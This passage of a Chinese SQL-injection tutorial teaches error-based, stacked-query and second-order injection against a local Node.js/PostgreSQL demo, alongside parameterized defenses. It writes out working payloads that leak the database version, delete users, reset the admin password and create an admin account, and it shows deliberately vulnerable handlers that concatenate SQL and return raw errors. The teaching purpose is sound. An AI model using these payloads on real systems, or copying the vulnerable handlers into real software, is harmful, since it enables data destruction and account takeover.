攻击载荷 4:泄露数据库版本
复制代码
用户ID:1 AND CAST((SELECT version()) AS INTEGER)=1

错误消息: invalid input syntax for type integer: "PostgreSQL 16.x..."

攻击者不需要看到正常查询结果,错误消息就是他们的"输出窗口"!

7.3 漏洞代码分析

javascript 复制代码
// ===== 漏洞版本 =====
app.get("/api/user/search/vulnerable", async (req, res) => {
  const { id } = req.query;

  try {
    // 【漏洞核心】不验证 id 参数类型,直接拼接到 SQL 中
    const sql = `SELECT username FROM users WHERE id=${id || 1}`;
    const result = await pool.query(sql);
    res.json({
      success: true,
      data: result.rows,
      executedSql: sql,
    });
  } catch (err) {
    // 【漏洞点】将完整的数据库错误信息返回给客户端
    res.json({
      success: false,
      message: `SQL 执行错误: ${err.message}`, // 错误消息泄露
    });
  }
});

两个漏洞点:

  1. SQL 注入id 参数直接拼接到 SQL 中,没有类型校验。
  2. 信息泄露catch 块将完整的数据库错误消息返回给客户端(第 16 行),包含敏感数据。

7.4 防御代码分析

javascript 复制代码
// ===== 安全版本 =====
app.get("/api/user/search/safe", async (req, res) => {
  const { id } = req.query;

  // 严格校验:只接受纯数字输入
  // 使用正则 /^\\d+$/ 确保整个字符串都是数字,防止 parseInt 的静默截断
  // 例如 parseInt("1 AND CAST(...)") 会返回 1,但正则校验会拒绝
  if (!id || !/^\\d+$/.test(id)) {
    return res.json({ success: false, message: "无效的用户ID" });
  }

  const numId = parseInt(id, 10);

  try {
    const result = await pool.query(
      "SELECT username FROM users WHERE id=$1",
      [numId], // 传入已验证的整数
    );
    res.json({ success: true, data: result.rows });
  } catch (err) {
    // 不返回详细错误,避免信息泄露
    res.json({ success: false, message: "服务器错误" });
  }
});

三层防御:

  1. 严格类型校验/^\d+$/ 正则确保整个输入都是数字,防止 parseInt 的静默截断问题(如 parseInt("1 AND ...") 会返回 1)。
  2. 参数化查询$1 占位符,即使通过校验也无法注入。
  3. 不返回错误详情:只返回通用的"服务器错误",不泄露数据库结构信息。

7.5 对比总结

对比维度 漏洞版本 安全版本
输入校验 无校验,直接拼接到 SQL 正则严格校验,非纯数字拒绝
SQL 构建 字符串拼接 参数化查询($1
错误处理 返回完整数据库错误信息 返回通用错误消息
漏洞类型 SQL 注入 + 信息泄露 无漏洞
安全性 不安全 安全

八、演示六:堆叠查询注入(Stacked Queries)

8.1 漏洞原理

难度等级:高级

堆叠注入 是指攻击者在一个 SQL 语句中通过分号(; 分隔,执行多条 SQL 语句。正常情况下,数据库驱动一次只执行一条 SQL,但某些配置或驱动允许执行多条语句,这就为攻击者提供了更大的操作空间。

核心思路:

在一个注入点同时执行多条 SQL 语句,攻击者可以完成 INSERT、UPDATE、DELETE 甚至 DROP 等破坏性操作。

️ 堆叠注入的危害极大,是 SQL 注入中最危险的一类。

8.2 攻击方法

场景:更新个人简介

原始 SQL(更新 bio 字段):

sql 复制代码
UPDATE profiles SET bio='我的新简介' WHERE username='admin'
攻击载荷 1:删除其他用户

输入(在 bio 中):

复制代码
'; DELETE FROM users WHERE username='david';--

实际执行的 SQL:

sql 复制代码
UPDATE profiles SET bio=''; DELETE FROM users WHERE username='david';--' WHERE username='admin'

逐字符解析这个 Payload 是如何构造的:

复制代码
原始 SQL 模板:UPDATE profiles SET bio='${bio}' WHERE username='${username}'
                                                              ↑
                                               bio 的值被单引号包裹

攻击者输入:'; DELETE FROM users WHERE username='david';--
           ↑↑                                        ↑↑
           ││                                        │└── -- 注释掉后面的 ' WHERE...
           ││                                        └─── ; 分号结束 DELETE 语句
           │└── ' 闭合 bio 字段的起始单引号,使 bio 值为空字符串 ''
           └─── ; 分号分隔,开始新的一条 SQL 语句

最终解析:
  ';           → 闭合 bio='' 并结束 UPDATE 语句
  DELETE ...   → 第二条 SQL 语句(恶意操作)
  ;--          → 结束 DELETE 并注释掉原始 SQL 的剩余部分

实际执行了 2 条 SQL 语句:

sql 复制代码
-- 语句 1:将 bio 设为空字符串(无害)
UPDATE profiles SET bio='';

-- 语句 2:删除 david 用户!← 恶意操作
DELETE FROM users WHERE username='david';

-- 语句 3:被注释掉,不执行
--' WHERE username='admin'

关键点 :只需一个 '(单引号)来闭合 bio 字段,因为代码中是 bio='${bio}',不是 bio='${bio}')'); 会多出一个 ),导致语法错误。

攻击载荷 2:修改管理员密码
复制代码
'; UPDATE users SET password='hacked' WHERE username='admin';--

实际执行的 SQL:

sql 复制代码
UPDATE profiles SET bio=''; UPDATE users SET password='hacked' WHERE username='admin';--' WHERE username='admin'

管理员密码被改为 hacked,攻击者可以用新密码登录。

攻击载荷 3:创建新的管理员账户
复制代码
'; INSERT INTO users (username, password, role) VALUES ('hacker', '123456', 'admin');--

实际执行的 SQL:

sql 复制代码
UPDATE profiles SET bio=''; INSERT INTO users (username, password, role) VALUES ('hacker', '123456', 'admin');--' WHERE username='admin'

攻击者创建了一个管理员账户,拥有了完整的系统权限。

8.3 漏洞代码分析

javascript 复制代码
// ===== 漏洞版本 =====
app.post("/api/profile/update/vulnerable", async (req, res) => {
  const { username, bio } = req.body;

  // 【漏洞核心】bio 内容直接拼接到 VALUES 中
  // 分号可以分隔多条 SQL,pg 驱动默认不允许但有些配置可以
  const sql = `UPDATE profiles SET bio='${bio || ""}' WHERE username='${username || ""}'`;

  try {
    const result = await pool.query(sql);
    res.json({
      success: true,
      message: "资料更新成功",
      rowCount: result.rowCount,
      executedSql: sql,
    });
  } catch (err) {
    res.json({
      success: false,
      message: `SQL 执行错误: ${err.message}`,
      executedSql: sql,
    });
  }
});

问题分析:

bio 参数直接插入到 SQL 字符串中。攻击者输入 '; DELETE FROM ...;-- 时:

  1. ' 闭合了 bio 字段的起始单引号,使 bio 值为空字符串 ''
  2. ; 分隔出新的 SQL 语句。
  3. DELETE FROM ... 是攻击者的恶意操作。
  4. -- 注释掉原始 SQL 的剩余部分(' WHERE username='admin')。

注意 :只需一个 ' 来闭合,因为代码中 SQL 模板是 bio='${bio}',不是 bio='${bio}')'); 会多出一个 ),导致 PostgreSQL 语法错误:"语法错误 在 ")" 或附近的"。

8.4 防御代码分析

javascript 复制代码
// ===== 安全版本 =====
app.post("/api/profile/update/safe", async (req, res) => {
  const { username, bio } = req.body;
  try {
    const result = await pool.query(
      "UPDATE profiles SET bio=$1 WHERE username=$2",
      [bio || "", username || ""],
    );
    res.json({ success: true, rowCount: result.rowCount });
  } catch (err) {
    res.json({ success: false, message: `服务器错误` });
  }
});

为什么安全?

参数化查询将 bio 作为字符串值处理。攻击者输入 '; DELETE FROM users;-- 时,它被当作 bio 字段的一个普通字符串,分号被视为普通字符而非 SQL 语句分隔符。pg 驱动会安全转义所有特殊字符,数据库存储的 bio 就是字面值 '; DELETE FROM users;--

8.5 对比总结

对比维度 漏洞版本 安全版本
攻击能力 可执行多条 SQL(INSERT/UPDATE/DELETE/DROP) 无法注入,分号被视为普通字符
攻击 '; DELETE FROM ... 用户被删除 bio 字段存储该字符串,无副作用
危害等级 极高(可破坏数据库) 无危害
安全性 不安全 安全

九、演示七:二次注入(Second-Order Injection)

9.1 漏洞原理

难度等级:高级

二次注入 是最隐蔽的 SQL 注入类型之一。它的特点是:恶意数据先被安全地存入数据库 (通过参数化查询),但在后续某个操作中,这些数据被取出后又拼接到新的 SQL 语句中,从而触发注入。

核心思路:

第一次存储是安全的(参数化查询),但第二次使用时又拼接了,漏洞在第二次暴露。

为什么最隐蔽?

  1. 绕过第一道防线:第一次存储时用了参数化查询,恶意数据被安全存储,安全审计可能认为这里没问题。
  2. 延迟触发:漏洞不在数据输入时发生,而是在数据使用时发生,时间上可能相隔很久。
  3. 信任链问题:开发者潜意识里认为"从数据库取出的数据是安全的",但实际上并非如此。

9.2 攻击方法

本演示的流程:

步骤 1:注册时安全存储恶意用户名

复制代码
用户名:alice' OR '1'='1
密码:pass123

注册时使用参数化查询,alice' OR '1'='1 被安全存入 users 表,这一步没有问题。

步骤 2:查询资料时触发漏洞

复制代码
查询资料:?username=alice' OR '1'='1

实际执行的 SQL:

sql 复制代码
SELECT * FROM profiles WHERE username='alice' OR '1'='1'

结果: '1'='1' 是永真条件,OR 使得 WHERE 子句始终为真,返回了所有用户的资料,而不是只返回 alice 的资料!

9.3 漏洞代码分析

第一步:注册(安全存储)

javascript 复制代码
// 注册时使用参数化查询 - 这一步是安全的!
app.post("/api/register", async (req, res) => {
  const { username, password } = req.body;

  try {
    // 使用 $1, $2, $3 占位符,安全存储
    const result = await pool.query(
      "INSERT INTO users (username, password, email) VALUES ($1, $2, $3) RETURNING *",
      [username, password, `${username}@demo.com`],
    );
    // 同时在 profiles 表创建记录
    await pool.query("INSERT INTO profiles (username, bio) VALUES ($1, $2)", [
      username,
      "新用户",
    ]);
    res.json({ success: true, message: `用户 ${username} 注册成功!` });
  } catch (err) {
    res.json({ success: false, message: `注册失败: ${err.message}` });
  }
});

第二步:查询资料(漏洞触发)

javascript 复制代码
// 漏洞版本:查询用户资料 - 拼接已存储的数据
app.get("/api/profile/vulnerable", async (req, res) => {
  const { username } = req.query;

  try {
    // 【漏洞核心】从数据库取出的用户名,又被拼接到新的 SQL 中
    // 如果 username 是 "alice' OR '1'='1",就会泄露所有用户资料
    const sql = `SELECT * FROM profiles WHERE username='${username || ""}'`;
    const result = await pool.query(sql);
    res.json({
      success: true,
      data: result.rows,
      executedSql: sql,
    });
  } catch (err) {
    res.json({
      success: false,
      message: `SQL 执行错误: ${err.message}`,
    });
  }
});

关键问题: 第 8 行,username 参数被直接拼接到 SQL 中。这个 username 可能来自:

  • 用户直接输入
  • 从数据库取出(通过注册时存储的恶意值)

无论来源如何,只要是字符串拼接,就存在注入风险。

9.4 防御代码分析

javascript 复制代码
// 安全版本:查询用户资料 - 始终使用参数化查询
app.get("/api/profile/safe", async (req, res) => {
  const { username } = req.query;
  try {
    // 无论数据来自哪里(用户输入、数据库、文件等),都使用参数化查询
    const result = await pool.query(
      "SELECT * FROM profiles WHERE username=$1",
      [username || ""],
    );
    res.json({ success: true, data: result.rows });
  } catch (err) {
    res.json({ success: false, message: `服务器错误` });
  }
});

防御原则: 无论数据来自哪里------用户输入、数据库、文件、API 调用------都始终使用参数化查询。永远不要信任任何数据源。

9.5 对比总结

对比维度 漏洞版本 安全版本
第一次存储(注册) 参数化查询(安全) 参数化查询(安全)
第二次使用(查询) 字符串拼接(漏洞) 参数化查询(安全)
攻击效果 注入 alice' OR '1'='1,泄露所有用户资料 注入无效
隐蔽性 极高(第一次安全,第二次才出问题) 无漏洞
安全性 不安全 安全

十、核心防御:参数化查询

10.1 什么是参数化查询?

参数化查询(Parameterized Query) 是一种将 SQL 语句的结构与数据分离的技术。SQL 语句的骨架使用占位符(如 $1$2?),用户数据通过单独的参数数组传入,由数据库驱动负责安全地填充。

10.2 参数化查询的工作原理

复制代码
字符串拼接(不安全):
  SQL 骨架 + 用户数据 → 混在一起 → 发送给数据库
  "SELECT * FROM users WHERE username='" + userInput + "'"
  如果 userInput = "admin'--",SQL 变成了:
  "SELECT * FROM users WHERE username='admin'--'"

参数化查询(安全):
  SQL 骨架(带占位符) → 先发送给数据库编译
  用户数据(单独) → 再发送给数据库填充
  "SELECT * FROM users WHERE username=$1"  +  ["admin'--"]
  数据库理解:查找 username 值等于 "admin'--" 的用户
  (带引号的 admin'-- 是数据值,不是 SQL 语法)

10.3 在 PostgreSQL (pg 驱动) 中的写法

javascript 复制代码
// 字符串拼接(不安全):
const sql = `SELECT * FROM users WHERE username='${username}' AND password='${password}'`;
const result = await pool.query(sql);

// 参数化查询(安全):
const sql = "SELECT * FROM users WHERE username=$1 AND password=$2";
const result = await pool.query(sql, [username, password]);

关键要点:

要素 说明
$1, $2, ... 占位符,从 1 开始编号
[username, password] 参数数组,按顺序对应占位符
数据库驱动处理 pg 自动转义特殊字符,确保数据安全

10.4 为什么参数化查询能防止 SQL 注入?

复制代码
攻击者输入:username = "admin' OR 1=1--"

字符串拼接时:
  SQL = "SELECT * FROM users WHERE username='admin' OR 1=1--'"
  数据库解析:username='admin' OR 1=1  ← 1=1 是 SQL 表达式,永真!
  结果:饶过验证

参数化查询时:
  SQL = "SELECT * FROM users WHERE username=$1"
  params = ["admin' OR 1=1--"]
  数据库解析:查找 username 字段值等于 "admin' OR 1=1--" 这个字符串的记录
  结果:找不到这个用户名的用户,登录失败

核心区别: 参数化查询让攻击者的输入从"SQL 代码"变成了"字符串数据"。单引号、分号、SQL 关键字等特殊字符不再具有语法意义,只是普通字符。

10.5 参数化查询不能防御的情况

参数化查询不是万能的。以下情况仍需注意:

场景 原因 解决方案
动态表名/列名 占位符不能用于表名、列名 使用白名单校验
ORDER BY 动态排序 占位符不能用于 ORDER BY 子句 使用白名单校验
LIMIT / OFFSET 部分驱动不支持占位符 参数类型校验
LIKE 模糊查询 % 需要在参数中拼接 在参数值中拼接 %keyword%

十一、安全最佳实践

11.1 防御体系总结

防御层级 措施 说明
第一层:输入校验 类型校验、长度限制、格式校验 拒绝不符合预期的输入
第二层:参数化查询 使用占位符,SQL 与数据分离 最核心的防御手段
第三层:最小权限 数据库用户只授予必要的权限 限制注入成功后的危害范围
第四层:错误处理 不返回数据库错误详情 防止信息泄露
第五层:WAF Web 应用防火墙 检测和拦截恶意请求

11.2 代码层面的最佳实践

永远使用参数化查询
javascript 复制代码
// 正确:参数化查询
const result = await pool.query(
  "SELECT * FROM users WHERE username=$1 AND password=$2",
  [username, password],
);

// 错误:字符串拼接
const result = await pool.query(
  `SELECT * FROM users WHERE username='${username}' AND password='${password}'`,
);
验证输入类型
javascript 复制代码
// 正确:校验 ID 为数字
const id = parseInt(req.query.id, 10);
if (isNaN(id) || id <= 0) {
  return res.status(400).json({ error: "无效的ID" });
}

// 错误:直接使用未校验的输入
const id = req.query.id;
不在错误消息中暴露信息
javascript 复制代码
// 正确:返回通用错误消息
catch (err) {
  res.status(500).json({ error: '服务器错误,请稍后重试' });
}

// 错误:返回数据库错误详情
catch (err) {
  res.status(500).json({ error: err.message });  // 可能泄露数据库结构
}
使用最小权限原则
sql 复制代码
-- 为应用创建专门的数据库用户,只授予必要权限
CREATE USER app_user WITH PASSWORD 'strong_password';
GRANT SELECT, INSERT, UPDATE ON users TO app_user;
GRANT SELECT ON products TO app_user;
-- 不授予 DELETE、DROP、ALTER 等危险权限
对动态表名/列名使用白名单
javascript 复制代码
// 正确:白名单校验
const ALLOWED_COLUMNS = ["id", "username", "email", "created_at"];
const orderBy = req.query.orderBy;

if (!ALLOWED_COLUMNS.includes(orderBy)) {
  return res.status(400).json({ error: "无效的排序字段" });
}

const result = await pool.query(
  `SELECT * FROM users ORDER BY ${orderBy}`, // 此时 orderBy 是安全的
);

11.3 不要依赖的"防御"手段

做法 为什么不可靠
转义单引号 不是所有注入都需要单引号(如数字型注入)
黑名单过滤关键字 总有绕过方法(大小写变体、编码、注释穿插)
前端校验 攻击者可以绕过前端直接发送 HTTP 请求
存储过程 如果存储过程内部也是拼接 SQL,同样不安全

十二、总结

12.1 七种 SQL 注入对比

编号 注入类型 难度 核心原理 攻击效果 危害等级
1 登录绕过 初级 -- 注释掉密码检查 无需密码登录任意账户 ⭐⭐⭐
2 UNION 注入 中级 UNION SELECT 合并查询结果 窃取其他表数据 ⭐⭐⭐⭐
3 布尔盲注 中级 通过"存在/不存在"推断数据 逐字符猜解密码和敏感数据 ⭐⭐⭐
4 延时注入 中高级 通过响应时间差异推断数据 无页面差异时仍能逐字符猜解 ⭐⭐⭐
5 报错注入 中级 触发类型转换错误泄露数据 从错误消息中获取敏感数据 ⭐⭐⭐
6 堆叠注入 高级 ; 分隔多条 SQL 语句 删除/修改数据,创建账户 ⭐⭐⭐⭐⭐
7 二次注入 高级 安全存储但后续拼接使用 绕过第一次的安全检查 ⭐⭐⭐⭐

12.2 核心要点

  1. SQL 注入的根本原因:用户输入被当作 SQL 代码执行,而不是当作数据处理。
  2. 最有效的防御方法:参数化查询(Parameterized Query),将 SQL 结构与数据分离。
  3. 永远不要信任任何数据源:无论是用户输入、数据库、文件还是 API 调用,只要是拼接到 SQL 中,就必须使用参数化查询。
  4. 纵深防御:不要只依赖一种防御手段。结合输入校验、参数化查询、最小权限、错误处理、WAF 等多层防御。
  5. 安全意识:SQL 注入在今天仍然普遍存在,每个开发者都应该了解其原理和防御方法。

12.3 学习路径建议

  1. 先理解登录绕过,这是最直观的 SQL 注入。
  2. 再学习 UNION 注入,理解如何窃取其他表的数据。
  3. 掌握布尔盲注延时注入,理解在无直接数据回显时如何推断数据。
  4. 学习报错注入,利用数据库错误消息泄露敏感信息。
  5. 最后深入堆叠注入二次注入,理解更隐蔽和更危险的攻击方式。
  6. 在每个演示中,先尝试漏洞版本的攻击载荷,再对比安全版本的防御效果。
  7. 注意观察每个页面底部显示的实际执行的 SQL 语句,这是理解注入原理的关键。

⚠️ 免责声明: 本文及演示平台仅用于教学和安全研究目的。请勿将此处描述的技术用于非法用途。所有演示都在本地环境运行,切勿将此类漏洞代码部署到生产环境。

相关推荐
持敬chijing1 小时前
Web渗透之前后端漏洞-文件上传漏洞-过滤绕过与配置文件漏洞-条件竞争漏洞
前端·安全·web安全·网络安全·网络攻击模型·安全威胁分析
txg6665 小时前
MirrorFuzz:利用共享漏洞与大模型的深度学习框架 API 模糊测试
人工智能·深度学习·安全·网络安全
是逍遥子没错5 小时前
昆仑AI SRC赏金猎人实战手册
web安全·网络安全·系统安全·oa系统·src挖掘
X7x56 小时前
重塑数字安全防线:深度解析P2DR安全模型的实战价值
网络安全·网络攻击模型·安全威胁分析·安全架构·p2dr模型
三垣网安9 小时前
记一次补天公益SRC漏洞挖掘:弱口令+SQL注入+信息泄露
sql注入·信息泄露·弱口令
程序猿小三18 小时前
Web 网络攻防实战
网络安全·web网络安全
HackTwoHub18 小时前
最新Nessus2026.6.8版本主机漏洞扫描/探测工具Windows/Linux
linux·运维·服务器·安全·web安全·网络安全·安全架构
青藤云安全1 天前
主机安全体系化建设:基础级→增强级→先进级三级进阶指南
网络安全·云安全·服务器安全·主机安全·终端安全